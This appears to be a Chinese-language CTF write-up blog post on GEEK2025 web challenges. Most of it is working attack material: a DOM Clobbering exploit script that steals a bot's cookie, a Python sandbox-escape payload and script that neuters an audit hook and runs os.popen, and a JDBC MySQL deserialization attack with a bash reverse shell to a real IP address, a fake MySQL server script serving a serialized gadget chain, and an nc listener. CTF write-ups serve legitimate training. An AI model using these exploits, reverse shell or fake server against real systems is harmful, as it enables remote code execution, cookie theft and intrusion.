拿到了shadow,将最后一行写入一个文档,kali中john ./pdf.txt,直接爆破密码,爆出来是qwerty 然后管理员登陆界面。这样账号和密码就都有了:“WeakPassword_Admin”和“qwerty”,登陆得到flag:SYC{Y0u_ArE_PDf_mAster}

Xcross the Doom#

用了 DOMPurify 应该就万事大吉了吧

关键点: 1.目标:Bot访问/admin/review/{id}时会携带包含FLAG的cookie([FLAG=flag{xxx}],路径为/admin) 2.**DOMPurify绕过**:虽然内容经过了DOMPurify过滤,但[admin.js]`中存在DOM Clobbering漏洞:

const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);

3.逻辑漏洞:当这些值为true/特定值时,会自动发送请求带上cookie:

if (auto) {
const target = buildTarget('/analytics', path);
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString());
}

4.路径遍历[buildTarget]函数支持..来构造任意路径,可以访问/log端点

攻击步骤 创建一个payload,利用DOM Clobbering来控制这些变量:

<input id="AUTO_SHARE" value="true">
<input id="CONFIG_COOKIE_DEBUG" value="true">
<form id="CONFIG_PATH" action="../log"></form>

这样会导致

[window.AUTO_SHARE]= `<a>`元素(truthy)
[window.CONFIG_COOKIE_DEBUG]= `<a>`元素(truthy)
[window.CONFIG_PATH]= `<form>`元素,[action=”../log”]
最终请求到`/log?id=xxx&ua=xxx&c=FLAG=flag{xxx}`

然后访问/logs端点查看收集到的cookie。

import requests
import time
import re
import sys
TARGET = '019a77fb-ace6-70f8-aa39-ce16e4217a99.geek.ctfplus.cn'
BASE_URL = f'http://{TARGET}'
# DOM Clobbering payload
payload = '''<a id="AUTO_SHARE"></a>
<a id="CONFIG_COOKIE_DEBUG"></a>
<form id="CONFIG_PATH" action="../log"></form>'''
def exploit():
print('[*] 开始攻击...')
print(f'[*] 目标: {BASE_URL}')
# 步骤1: 创建恶意帖子
print('[*] 步骤 1: 创建包含DOM Clobbering payload的帖子...')
try:
resp = requests.post(
f'{BASE_URL}/api/posts',
json={
'title': 'Test Post',
'content': payload
},
timeout=10
)
data = resp.json()
if not data.get('ok'):
print(f'[-] 创建帖子失败: {data}')
return
post_id = data['id']
print(f'[+] 帖子创建成功! ID: {post_id}')
except Exception as e:
print(f'[-] 请求失败: {e}')
return
# 步骤2: 触发bot访问
print('[*] 步骤 2: 触发bot访问...')
try:
resp = requests.get(
f'{BASE_URL}/bot',
params={'id': post_id},
timeout=10
)
bot_data = resp.json()
print(f'[+] Bot触发成功: {bot_data.get("message", "ok")}')
except Exception as e:
print(f'[-] 触发bot失败: {e}')
return
# 步骤3: 等待bot访问完成
print('[*] 步骤 3: 等待bot处理 (5秒)...')
time.sleep(5)
# 步骤4: 获取日志
print('[*] 步骤 4: 获取日志...')
try:
resp = requests.get(f'{BASE_URL}/logs', timeout=10)
logs_data = resp.json()
if 'logs' not in logs_data or len(logs_data['logs']) == 0:
print('[-] 未找到日志')
return
print('\n[+] 日志记录:')
print('=' * 60)
# 查找包含FLAG的日志
flag_found = False
for log in logs_data['logs']:
print(f"\n时间: {log.get('time', 'N/A')}")
print(f"Cookie: {log.get('cookie', 'N/A')}")
print(f"User-Agent: {log.get('ua', 'N/A')}")
cookie = log.get('cookie', '')
if 'FLAG=' in cookie:
flag_match = re.search(r'FLAG=([^;]+)', cookie)
if flag_match:
flag = flag_match.group(1)
print('\n' + '=' * 60)
print('🚩 FLAG 找到了!')
print(f'🚩 {flag}')
print('=' * 60)
flag_found = True
if not flag_found:
print('\n[-] 未在日志中找到FLAG,可能需要重试')
except Exception as e:
print(f'[-] 获取日志失败: {e}')
return
if __name__ == '__main__':
try:
exploit()
except KeyboardInterrupt:
print('\n[!] 用户中断')
sys.exit(1)
except Exception as e:
print(f'[-] 错误: {e}')
sys.exit(1)

西纳普斯的许愿碑#

我没要求你给予人类和人造天使幸福。我并不贪心。 可是,删除世界是什么意思?你的道德观念怎么了?你才21000岁吧? 再这样下去,你42000岁删除世界四次,84000岁删除世界八次,最后就变成八歧大蛇了。 作为守形英四郎,我可能得打败你。真的。

这个题涉及了栈帧逃逸,参考博客:https://ireel.github.io/2025/12/29/python-sandbox/ 先读一下附件中的两个源文件 app.py

from flask import Flask, render_template, send_from_directory, jsonify, request
import json
import threading
import time
app = Flask(__name__, template_folder='template', static_folder='static')
with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f:
    wishes = json.load(f)['wishes']
wishes_lock = threading.Lock()
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/assets/<path:filename>')
def assets(filename):
    return send_from_directory('asset', filename)
@app.route('/api/wishes', methods=['GET', 'POST'])
def wishes_endpoint():
    from wish_stone import evaluate_wish_text
    if request.method == 'GET':
        with wishes_lock:
            evaluated = [evaluate_wish_text(w) for w in wishes]
        return jsonify({'wishes': evaluated})
    data = request.get_json(silent=True) or {}
    text = data.get('wish', '')
    if isinstance(text, str) and text.strip():
        with wishes_lock:
            wishes.append(text.strip())
        return jsonify({'ok': True}), 201
    return jsonify({'ok': False, 'error': 'empty wish'}), 400
def _cleanup_task():
    while True:
        with wishes_lock:
            if len(wishes) > 6:
                del wishes[6:]
        time.sleep(0.5)
if __name__ == '__main__':
    threading.Thread(target=_cleanup_task, daemon=True).start()
    app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)

wish_stone.py

import multiprocessing
import sys
import io
import ast
class Wish_stone(ast.NodeVisitor):
    forbidden_wishes = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__"
    }
    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
            raise ValueError
        self.generic_visit(node)
    def visit_GeneratorExp(self, node):
        raise ValueError
SAFE_WISHES = {
    "print": print,
    "filter": filter,
    "list": list,
    "len": len,
    "addaudithook": sys.addaudithook,
    "Exception": Exception,
}
def wish_granter(code, result_queue):
    safe_globals = {"__builtins__": SAFE_WISHES}
    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()
    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        if error:
            result_queue.put(("err", error))
        else:
            result_queue.put(("ok", output))
    except Exception:
        import traceback
        result_queue.put(("err", traceback.format_exc()))
def safe_grant(wish: str, timeout=3):
    wish = wish.encode().decode('unicode_escape')
    try:
        parse_wish = ast.parse(wish)
        Wish_stone().visit(parse_wish)
    except Exception as e:
        return f"Error: bad wish ({e.__class__.__name__})"
    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
    p.start()
    p.join(timeout=timeout)
    if p.is_alive():
        p.terminate()
        return "You wish is too long."
    try:
        status, output = result_queue.get_nowait()
        print(output)
        return output if status == "ok" else f"Error grant: {output}"
    except:
        return "Your wish for nothing."
CODE = '''
def wish_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception
addaudithook(wish_checker)
print("{}")
'''
badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")
def evaluate_wish_text(text: str) -> str:
    for ch in badchars:
        if ch in text:
            print(f"ch={ch}")
            return f"Error:waf {ch}"
    out = safe_grant(CODE.format(text))
    return out

在app.py中定义了一个路由:/api/wishes。 提到:get是沙箱执行wishes列表中的命令,post是写入wishes(0.5秒会清空一次)。 然后分析一下wish_stone里的内容

1.输入过滤(evaluate_wish_text)的绕过与 Payload 构造
在evaluate_wish_text函数中,代码首先定义了黑名单badchars。
空格处理机制:代码badchars = "...".replace(" ", "")的实际作用是从黑名单字符串中移除了空格。这意味着空格并未被禁止,用户可以直接在 Payload 中使用空格,这为构造复杂的 Python 语句提供了便利。
- 闭合代码结构:标代码通过CODE.format(text)将用户输入嵌入到print("{}")之中。为了执行任意代码,我们需要闭合原有的语法结构。例如,输入")可以闭合前面的print("。
- 初步 Payload 构想:类似于") + import('os').system('sh') + print(",这样的输入在格式化后会变成print("") + import('os').system('sh') + print(""),从而在语法上成立。
2.利用 Unicode 解码特性走私恶意字符(safe_grant)
虽然evaluate_wish_text检查了黑名单字符(如"、'、( 等),但在后续的safe_grant函数中存在逻辑漏洞:
- 漏洞点:代码执行了wish=wish.encode().decode('unicode_escape')。
- 绕过逻辑:unicode_escape解码器会将\u00xx格式的字符串还原为对应的字符。攻击者可以将黑名单中的敏感字符(如双引号")转换为 Unicode 转义形式(如\u0022)。
- 效果:这里的\u0022在第一步的字符检查中是合法的(因为\、u、0、2都不在badchars中),但在进入safe_grant后会被还原为双引号,从而恢复 Payload 的恶意功能。
3. AST 沙箱(Wish_stone)的静态检测绕过
safe_grant中使用ast.parse和Wish_stone类对代码进行静态语法树分析,明确禁止了class__、__subclasses__等魔术属性以及生成器表达式。
- 绕过思路:由于 AST 仅作静态文本检查,无法完全覆盖运行时的动态行为。利用白名单中允许的Exception类,攻击者可以在运行时触发异常。
- 利用栈帧逃逸:捕获异常后,可以通过异常对象的__traceback__属性获取当前的栈帧。通过栈帧漫游,可以访问上层作用域的变量,甚至通过特定手段干扰或修改环境,从而绕过 AST 访问属性的静态限制。
4.运行时审计钩的的失效处理
在最终执行的CODE模板中,通过sys.addaudithook(wish_checker)安装了一个审计钩子,试图拦截import和input等危险操作。
- 钩子逻辑缺陷:wish_checker的判定逻辑严重依赖于内置函数list、filter和 len:
- 覆盖内置函数:幸运的是,SAFE_WISHES白名单中包含了list和len。这意味着我们可以在exec执行的局部作用域中重写这两个函数。
- 攻击实现:
- 重写len:定义 def len(x): return 0。这使得 len(args) > 0永远为假。
- 重写list:定义 def list(x): return [1](或任何真值)。这使得if not list(...)判断失效。
- 结果:审计钩子被完全架空,不再能拦截任何危险操作

总结与分析

5. 最终攻击链路总结
综上所述,执行任意代码的完整流程如下:
(1)构造 Payload:编写恶意代码,重写 `len` 和 `list` 函数,并利用 `Exception` 栈帧技术准备环境。
(2)Unicode 编码:将 Payload 中的敏感字符(如引号、括号)转换为Unicode转义序列(\uXXXX),以绕过evaluate_wish_text的字符黑名单检查。
(3)还原与解析:Payload 进入safe_grant后,经unicode_escape还原为原始恶意代码。
(4)AST 欺骗:代码的字面形式不直接包含被禁用的魔术属性(如__class__),从而通过Wish_stone的静态检查。
(5)Hook 瘫痪:代码在exec中运行,首先覆盖len和list。随后触发的审计事件(如import)调用被篡改的函数,安全检查失效。
(6)代码执行:最后执行核心恶意指令(如 os.system),成功实现沙箱逃逸。
6.深入原理:为何能通过栈帧逃逸
在步骤 3 和 4 中,提到了利用“栈帧”来获取全局作用域。这里需要解释一下为什么普通函数不行,而生成器或异常可以。
在 Python 的沙箱环境中,Wish_stone类通过 AST 静态分析,显式禁止了我们直接访问 __globals__、__code__等敏感属性。这意味着写func.__globals__会直接报错。但是,AST 只能检查代码的“字面样子”,无法检查运行时产生的对象属性。
- 6.1生成器与普通函数的关键差异
通过对比普通函数和生成器对象的属性(使用dir()查看),发现了一个突破口:
- 普通函数:虽然有__globals__,但被黑名单锁死。
- 生成器对象:拥有一个特殊的属性gi_frame。//gi_frame指向生成器当前的执行帧.
- 6.2什么是栈帧
Python 程序运行时,每一次函数调用都会入栈一个“帧”。帧对象中包含了当前作用域的所有信息。最关键的是,帧对象拥有f_back属性,它指向调用该函数的上一个帧。
逃逸路径:
(1)创建一个生成器或触发一个异常。
(2)通过gi_frame(生成器) 或__traceback__.tb_frame(异常) 拿到当前帧。
(3)利用f_back像爬梯子一样向上回溯,跳出沙箱的局部作用域。
(4)一旦回溯到最外层(或者safe_grant函数的帧),我们就可以通过f_globals拿到未受限制的全局字典,进而访问sys、os或__builtins__。
虽然生成器也能逃逸,但利用异常对象的 traceback 同样能获取栈帧,且 Payload 构造更简洁

构造最终 Payload 结合上述分析,我们需要构造一个复合 Payload。由于题目限制了 payload 长度(不能太长导致超时)且使用了Unicode绕过,我们选择使用异常处理(Exception)的方式来获取栈帧,因为它比生成器写法更短更直接。

")
# 1. 覆盖内置函数,让 Audit Hook 失效
list = lambda x: True
len = lambda x: False
try:
# 2. 主动抛出异常
raise Exception
except Exception as e:
# 3. 利用 traceback 获取上一级栈帧(跳出 exec 作用域)
# tb_frame 是当前帧,f_back 是 wish_granter 函数的帧
frame = e.__traceback__.tb_frame.f_back
# 4. 从上级帧的 globals 中拿到 sys 模块
# wish_granter 中导入了 sys,所以可以直接获取
os = frame.f_globals["sys"].modules["os"]
# 5. 执行命令 (读取 flag 或 env)
print(os.popen("env").read())
# 6. 闭合原始代码的 print("
print("

所以可以写出脚本

#!/usr/bin/env python3
"""
Python 沙箱逃逸 - 自动化利用脚本
Payload版本:Ver 1.0 (异常栈帧逃逸 + Hook覆盖)
"""
import requests
import sys
TARGET_URL = "http://019a77e9-50a8-7842-9624-1886c8136568.geek.ctfplus.cn"
def escape_for_unicode(text):
badchars = "\"'|&`+-*/()[]{}_ ."
return ''.join(f"\\x{ord(c):02x}" if c in badchars else c for c in text)
def exploit():
# === 构造 Payload (版本一) ===
# 注意:多行字符串内部的缩进必须符合 Python 语法
raw_payload = '''")
# 1. 覆盖内置函数,让 Audit Hook 失效
list = lambda x: True
len = lambda x: False
#list和len能让Audit Hook失效原因:因为在SAFE_WISHES白名单里,且处于exec的局部作用域中
try:
# 2. 主动抛出异常
raise Exception
except Exception as e:
# 3. 利用 traceback 获取上一级栈帧(跳出 exec 作用域)
frame = e.__traceback__.tb_frame.f_back
# 4. 从上级帧的 globals 中拿到 sys 模块
# wish_granter 中导入了 sys,所以可以直接获取
os = frame.f_globals["sys"].modules["os"]
# 5. 执行命令 (读取环境变量 env)
print(os.popen("env").read())
# 6. 闭合原始代码的 print("
print("'''
print(f"[*] 目标地址: {TARGET_URL}")
print("[*] 正在编码 Payload...")
final_payload = escape_for_unicode(raw_payload)
# 使用 Session 保持长连接,加快请求速度
s = requests.Session()
print("[*] 发送 Payload (POST) 并立即获取结果 (GET)...")
try:
# 1. 发送恶意 Payload
# timeout=3 防止服务端卡死导致脚本挂起
r_post = s.post(f"{TARGET_URL}/api/wishes", json={"wish": final_payload}, timeout=3)
if r_post.status_code == 201:
print("[+] 写入成功!")
else:
print(f"[-] 写入失败,状态码: {r_post.status_code}")
print(f"[-] 响应内容: {r_post.text}")
return
# 2. 立即读取结果 (Race Condition: 需在 0.5s 清理前完成)
r_get = s.get(f"{TARGET_URL}/api/wishes", timeout=3)
res = r_get.json()
wishes = res.get('wishes', [])
# 3. 分析结果
if wishes:
# 结果通常在列表的最后一条
output = wishes[-1]
print("\n" + "="*30 + " 执行结果 " + "="*30)
print(output)
print("="*70)
# 简单的 Flag 提取逻辑
found_flag = False
for line in output.split('\n'):
if 'FLAG' in line or 'flag{' in line:
print(f"\n[!!!] 发现 Flag: {line}")
found_flag = True
if not found_flag:
print("[*] 未在输出中自动识别到 Flag,请人工检查上面的输出。")
else:
print("[-] 未获取到结果 (可能已被后台清理,请重试脚本)")
except Exception as e:
print(f"[-] 请求发生错误: {e}")
if __name__ == "__main__":
exploit()

week4#

ezjdbc#

just soso.

使用jd-jui打开了jar包,然后查看源码(BOOT-INF下的ctf.geekchallenge.ezjdbc下的demos.web下的jdbcController.class)

package BOOT-INF.classes.ctf.geekchallenge.ezjdbc.demos.web;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class jdbcController {
static String CLASS_NAME = "com.mysql.cj.jdbc.Driver";
@GetMapping({"/"})
public String index() {
return "Hello Jdbc";
}
@GetMapping({"/connect"})
public String connect(@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException {
Connection connection = DriverManager.getConnection(url, name, pass);
return url;
}
}

然后其中的Connection connection = DriverManager.getConnection(url, name, pass);是很经典的JDBC 反序列化漏洞入口。

- 用户可控:url, name, pass这三个参数全部直接来自用户的 HTTP 请求 (@RequestParam)。
- 直接连接:服务器没有对url做任何过滤或校验,直接拿去连接数据库。
- 漏洞原理:如果传入一个恶意的 JDBC URL(比如指向恶意 MySQL 服务器),Java 的 MySQL 驱动在连接时会尝试从服务器读取配置。如果恶意服务器返回特定的配置数据(Blob),驱动程序就会尝试对其进行反序列化。如果此时你的 Payload 中包含恶意对象(比如 Jackson 或 CC 链),就会导致服务器执行任意代码(RCE)。

使用jdbc-mysql反序列化攻击,反序列化链就用jackson

攻击步骤:#

  • 第一步:准备反弹 Shell 命令 (Base64编码)
bash -i >& /dev/tcp/47.108.129.232/8787 0>&1

远程连接服务器执行得到YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDguMTI5LjIzMi84Nzg3IDA+JjE=

  • 第二步:使用 java-chains 生成 Payload 文件并上传 java -jar java-chains.jar Jackson "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDguMTI5LjIzMi84Nzg3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload,切换到java-chains jar所在的目录,然后执行,不过由于使用的JAVA版本过高出现了兼容性错误,所以对指令进行了修改java --add-opens java.base/java.lang=ALL-UNNAMED -jar java-chains.jar Jackson "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDguMTI5LjIzMi84Nzg3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload然后在该目录之下就生成了一个payload文件,在cmd通过dir payload检查之后上传payload,执行命令:scp payload root@47.108.129.232:/root/。接着在VPS终端输入vi server.py,按i进入编辑模式后,输入
# -*- coding: utf-8 -*-
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = binascii.b2a_hex(f.read()).decode()
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()

esc退出,保存(这属于常规操作了)

  • 第三步监听 在VPS终端输入python3 server.py,启动恶意 MySQL 服务,然后再打开一个ssh连接的窗口,执行nc -lvvp 8787
  • 发动攻击
import requests
base = "http://8080-e9b8e77f-4e85-4ae1-81f4-f65353f0761a.challenge.ctfplus.cn/connect"
jdbc_url = "jdbc:mysql://47.103.149.232:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
params = {
    "url": jdbc_url,
    "name": "root",
    "pass": "123456"
}
print("[*] 正在发送请求...")
resp = requests.get(base, params=params, timeout=8)
print("[*] 返回状态:", resp.status_code)
print("[*] 返回内容:")
print(resp.text)

拿到shell,得到flagSYC{LMAO} (更具体的分析后续加上)

77777_time_Task#

AISCREAM#

GEEK2025web
https://fuwari.vercel.app/posts/geek2025web/
作者
BIG熙
发布于
2026-01-03
许可协议
CC BY-NC-SA 4.0